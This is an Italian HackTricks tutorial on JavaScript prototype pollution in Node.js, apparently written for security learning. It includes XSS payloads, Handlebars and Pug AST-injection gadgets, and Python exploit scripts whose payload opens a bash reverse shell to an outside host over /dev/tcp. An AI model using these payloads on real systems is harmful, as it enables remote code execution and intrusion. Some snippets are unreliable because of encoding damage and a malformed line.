NodeJS - __proto__ e inquinamento del prototipo
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Oggetti in JavaScript
Gli oggetti in JavaScript sono essenzialmente collezioni di coppie chiave-valore, conosciute come proprietà . Un oggetto può essere creato utilizzando Object.create con null come argomento per produrre un oggetto vuoto. Questo metodo consente la creazione di un oggetto senza alcuna proprietà ereditata.
// Run this in the developers tools console
console.log(Object.create(null)) // This will output an empty object.
Un oggetto vuoto è simile a un dizionario vuoto, rappresentato come {}.
Funzioni e Classi in JavaScript
In JavaScript, le classi e le funzioni sono strettamente collegate, con le funzioni che spesso fungono da costruttori per le classi. Nonostante la mancanza di supporto nativo per le classi in JavaScript, i costruttori possono emulare il comportamento delle classi.
// Run this in the developers tools console
function Employee(name, position) {
this.name = name
this.position = position
this.introduce = function () {
return "My name is " + this.name + " and I work as a " + this.position + "."
}
}
Employee.prototype
var employee1 = new Employee("Generic Employee", "Developer")
employee1.__proto__
Prototipi in JavaScript
JavaScript consente la modifica, lâaggiunta o la cancellazione di attributi del prototipo a runtime. Questa flessibilitĂ consente lâestensione dinamica delle funzionalitĂ delle classi.
Funzioni come toString e valueOf possono essere modificate per cambiare il loro comportamento, dimostrando la natura adattabile del sistema di prototipi di JavaScript.
EreditĂ
Nella programmazione basata su prototipi, le proprietĂ /metodi sono ereditati dagli oggetti dalle classi. Queste classi vengono create aggiungendo proprietĂ /metodi a unâistanza di unâaltra classe o a un oggetto vuoto.
Va notato che quando una proprietĂ viene aggiunta a un oggetto che funge da prototipo per altri oggetti (come myPersonObj), gli oggetti ereditanti ottengono accesso a questa nuova proprietĂ . Tuttavia, questa proprietĂ non viene visualizzata automaticamente a meno che non venga esplicitamente invocata.
__proto__ inquinamento
Esplorare lâinquinamento del prototipo in JavaScript
Gli oggetti JavaScript sono definiti da coppie chiave-valore e ereditano dal prototipo dellâoggetto JavaScript. Ciò significa che alterare il prototipo dellâoggetto può influenzare tutti gli oggetti nellâambiente.
Usiamo un esempio diverso per illustrare:
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
Lâaccesso al prototipo dellâoggetto è possibile tramite:
car1.__proto__.__proto__
Vehicle.__proto__.__proto__
Aggiungendo proprietĂ al prototipo Object, ogni oggetto JavaScript erediterĂ queste nuove proprietĂ :
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
// Adding a method to the Object prototype
car1.__proto__.__proto__.announce = function () {
console.log("Beep beep!")
}
car1.announce() // Outputs "Beep beep!"
// Adding a property to the Object prototype
car1.__proto__.__proto__.isVehicle = true
console.log(car1.isVehicle) // Outputs true
inquinamento del prototipo
Per uno scenario in cui lâuso di __proto__ è limitato, modificare il prototipo di una funzione è unâalternativa:
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
// Adding properties to the Vehicle prototype
Vehicle.prototype.beep = function () {
console.log("Beep beep!")
}
car1.beep() // Now works and outputs "Beep beep!"
Vehicle.prototype.hasWheels = true
console.log(car1.hasWheels) // Outputs true
// Alternate method
car1.constructor.prototype.honk = function () {
console.log("Honk!")
}
car1.constructor.prototype.isElectric = true
Questo influisce solo sugli oggetti creati dal costruttore Vehicle, dando loro le proprietĂ beep, hasWheels, honk e isElectric.
Due metodi per influenzare globalmente gli oggetti JavaScript attraverso la contaminazione del prototipo includono:
- Contaminare direttamente
Object.prototype:
Object.prototype.goodbye = function () {
console.log("Goodbye!")
}
- Inquinare il prototipo di un costruttore per una struttura comunemente usata:
var example = { key: "value" }
example.constructor.prototype.greet = function () {
console.log("Hello!")
}
Dopo queste operazioni, ogni oggetto JavaScript può eseguire i metodi goodbye e greet.
Inquinare altri oggetti
Da una classe a Object.prototype
In uno scenario in cui puoi inquinare un oggetto specifico e hai bisogno di arrivare a Object.prototype, puoi cercarlo con qualcosa di simile al seguente codice:
// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/
// Search from "window" object
for (let key of Object.getOwnPropertyNames(window)) {
if (window[key]?.constructor.prototype === Object.prototype) {
console.log(key)
}
}
// Imagine that the original object was document.querySelector('a')
// With this code you could find some attributes to get the object "window" from that one
for (let key1 in document.querySelector("a")) {
for (let key2 in document.querySelector("a")[key1]) {
if (document.querySelector("a")[key1][key2] === window) {
console.log(key1 + "." + key2)
}
}
}
Inquinamento degli elementi dellâarray
Nota che poichĂŠ puoi inquinare gli attributi degli oggetti in JS, se hai accesso per inquinare un array puoi anche inquinare i valori dellâarray accessibili tramite indici (nota che non puoi sovrascrivere i valori, quindi devi inquinare indici che sono in qualche modo utilizzati ma non scritti).
c = [1, 2]
a = []
a.constructor.prototype[1] = "yolo"
b = []
b[0] //undefined
b[1] //"yolo"
c[1] // 2 -- not
Html elements pollution
Quando si genera un elemento HTML tramite JS, è possibile sovrascrivere lâattributo innerHTML per farlo scrivere codice HTML arbitrario. Idea e esempio da questo writeup.
// Create element
devSettings["root"] = document.createElement('main')
// Pollute innerHTML
settings[root][innerHTML]=<"svg onload=alert(1)>"
// Pollute innerHTML of the ownerProperty to avoid overwrites of innerHTML killing the payload
settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domain)>"
Esempi
Esempio di base
Una contaminazione del prototipo si verifica a causa di un difetto nellâapplicazione che consente di sovrascrivere le proprietĂ su Object.prototype. Ciò significa che poichĂŠ la maggior parte degli oggetti deriva le proprie proprietĂ da Object.prototype
Lâesempio piĂš semplice è aggiungere un valore a un attributo indefinito di un oggetto che verrĂ controllato, come:
if (user.admin) {
Se lâattributo admin è indefinito è possibile abusare di un PP e impostarlo su True con qualcosa come:
Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true
Il meccanismo dietro questo coinvolge la manipolazione delle proprietĂ in modo tale che, se un attaccante ha il controllo su determinati input, può modificare il prototipo di tutti gli oggetti nellâapplicazione. Questa manipolazione tipicamente comporta lâimpostazione della proprietĂ __proto__, che, in JavaScript, è sinonimo di modifica diretta del prototipo di un oggetto.
Le condizioni sotto le quali questo attacco può essere eseguito con successo, come delineato in uno specifico studio, includono:
- Eseguire una fusione ricorsiva.
- Definire proprietĂ basate su un percorso.
- Clonare oggetti.
Override function
customer.__proto__.toString = ()=>{alert("polluted")}
Proto Pollution to RCE
Altri payload:
Client-side prototype pollution to XSS
Client Side Prototype Pollution
CVE-2019â11358: Attacco di inquinamento del prototipo tramite jQuery $ .extend
Per ulteriori dettagli controlla questo articolo In jQuery, la funzione $ .extend può portare a inquinamento del prototipo se la funzione di copia profonda viene utilizzata in modo improprio. Questa funzione è comunemente usata per clonare oggetti o unire proprietà da un oggetto predefinito. Tuttavia, quando è configurata in modo errato, le proprietà destinate a un nuovo oggetto possono essere assegnate al prototipo invece. Ad esempio:
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
console.log({}.devMode) // Outputs: true
Questa vulnerabilitĂ , identificata come CVE-2019â11358, illustra come una copia profonda possa modificare involontariamente il prototipo, portando a potenziali rischi per la sicurezza, come lâaccesso non autorizzato da parte di un amministratore se proprietĂ come isAdmin vengono verificate senza una corretta verifica di esistenza.
CVE-2018â3721, CVE-2019â10744: attacco di inquinamento del prototipo tramite lodash
Per ulteriori dettagli controlla questo articolo
Lodash ha riscontrato vulnerabilitĂ simili di inquinamento del prototipo (CVE-2018â3721, CVE-2019â10744). Questi problemi sono stati risolti nella versione 4.17.11.
Un altro tutorial con CVE
Strumenti per rilevare lâinquinamento del prototipo
- Server-Side-Prototype-Pollution-Gadgets-Scanner: estensione di Burp Suite progettata per rilevare e analizzare vulnerabilitĂ di inquinamento del prototipo lato server nelle applicazioni web. Questo strumento automatizza il processo di scansione delle richieste per identificare potenziali problemi di inquinamento del prototipo. Sfrutta gadget noti - metodi per sfruttare lâinquinamento del prototipo per eseguire azioni dannose - concentrandosi in particolare sulle librerie Node.js.
- server-side-prototype-pollution: Questa estensione identifica vulnerabilitĂ di inquinamento del prototipo lato server. Utilizza tecniche descritte nel server side prototype pollution.
Inquinamento del prototipo AST in NodeJS
NodeJS utilizza ampiamente gli Abstract Syntax Trees (AST) in JavaScript per funzionalitĂ come i motori di template e TypeScript. Questa sezione esplora le vulnerabilitĂ relative allâinquinamento del prototipo nei motori di template, in particolare Handlebars e Pug.
Analisi della vulnerabilitĂ di Handlebars
Il motore di template Handlebars è suscettibile a un attacco di inquinamento del prototipo. Questa vulnerabilitĂ deriva da specifiche funzioni allâinterno del file javascript-compiler.js. La funzione appendContent, ad esempio, concatena pendingContent se è presente, mentre la funzione pushSource reimposta pendingContent a undefined dopo aver aggiunto la sorgente.
Processo di sfruttamento
Lo sfruttamento si basa sullâAST (Abstract Syntax Tree) prodotto da Handlebars, seguendo questi passaggi:
- Manipolazione del Parser: Inizialmente, il parser, tramite il nodo
NumberLiteral, impone che i valori siano numerici. Lâinquinamento del prototipo può eludere questo, consentendo lâinserimento di stringhe non numeriche. - Gestione da parte del Compilatore: Il compilatore può elaborare un oggetto AST o un template string. Se
input.typeè uguale aProgram, lâinput viene trattato come pre-parsato, il che può essere sfruttato. - Iniezione di Codice: Attraverso la manipolazione di
Object.prototype, è possibile iniettare codice arbitrario nella funzione template, il che può portare allâesecuzione remota di codice.
Un esempio che dimostra lo sfruttamento della vulnerabilitĂ di Handlebars:
const Handlebars = require("handlebars")
Object.prototype.type = "Program"
Object.prototype.body = [
{
type: "MustacheStatement",
path: 0,
params: [
{
type: "NumberLiteral",
value:
"console.log(process.mainModule.require('child_process').execSync('id').toString())",
},
],
loc: {
start: 0,
end: 0,
},
},
]
const source = `Hello {{ msg }}`
const template = Handlebars.precompile(source)
console.log(eval("(" + template + ")")["main"].toString())
Questo codice mostra come un attaccante potrebbe iniettare codice arbitrario in un template Handlebars.
Riferimento Esterno: Ă stato trovato un problema relativo alla contaminazione del prototipo nella libreria âflatâ, come dettagliato qui: Issue on GitHub.
Riferimento Esterno: Issue related to prototype pollution in the âflatâ library
Esempio di exploit di contaminazione del prototipo in Python:
import requests
TARGET_URL = 'http://10.10.10.10:9090'
# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
})
# execute
requests.get(TARGET_URL)
VulnerabilitĂ di Pug
Pug, un altro motore di template, affronta un rischio simile di inquinamento del prototipo. Informazioni dettagliate sono disponibili nella discussione su AST Injection in Pug.
Esempio di inquinamento del prototipo in Pug:
import requests
TARGET_URL = 'http://10.10.10.10:9090'
# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
})
# execute
requests.get(TARGET_URL)
Misure Preventive
Per ridurre il rischio di inquinamento del prototipo, possono essere impiegate le strategie elencate di seguito:
- ImmutabilitĂ degli Oggetti:
Object.prototypepuò essere reso immutabile applicandoObject.freeze. - Validazione degli Input: Gli input JSON devono essere rigorosamente validati rispetto allo schema dellâapplicazione.
- Funzioni di Merge Sicure: Lâuso non sicuro di funzioni di merge ricorsive dovrebbe essere evitato.
- Oggetti Senza Prototype: Gli oggetti senza proprietĂ prototype possono essere creati utilizzando
Object.create(null). - Uso di Map: Invece di
Object, dovrebbe essere utilizzatoMapper memorizzare coppie chiave-valore. - Aggiornamenti delle Librerie: Le patch di sicurezza possono essere incorporate aggiornando regolarmente le librerie.
- Strumenti di Linter e Analisi Statica: Utilizzare strumenti come ESLint con plugin appropriati per rilevare e prevenire vulnerabilitĂ di inquinamento del prototipo.
- Revisioni del Codice: Implementare revisioni del codice approfondite per identificare e risolvere potenziali rischi legati allâinquinamento del prototipo.
- Formazione sulla Sicurezza: Educare gli sviluppatori sui rischi dellâinquinamento del prototipo e sulle migliori pratiche per scrivere codice sicuro.
- Uso Cauto delle Librerie: Essere cauti nellâuso di librerie di terze parti. Valutare la loro postura di sicurezza e rivedere il loro codice, specialmente quelle che manipolano oggetti.
- Protezione a Runtime: Impiegare meccanismi di protezione a runtime come lâuso di pacchetti npm focalizzati sulla sicurezza che possono rilevare e prevenire attacchi di inquinamento del prototipo.
Riferimenti
- https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/
- https://dev.to/caffiendkitten/prototype-inheritance-pollution-2o5l
- https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7
- https://blog.p6.is/AST-Injection/
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
HackTricks

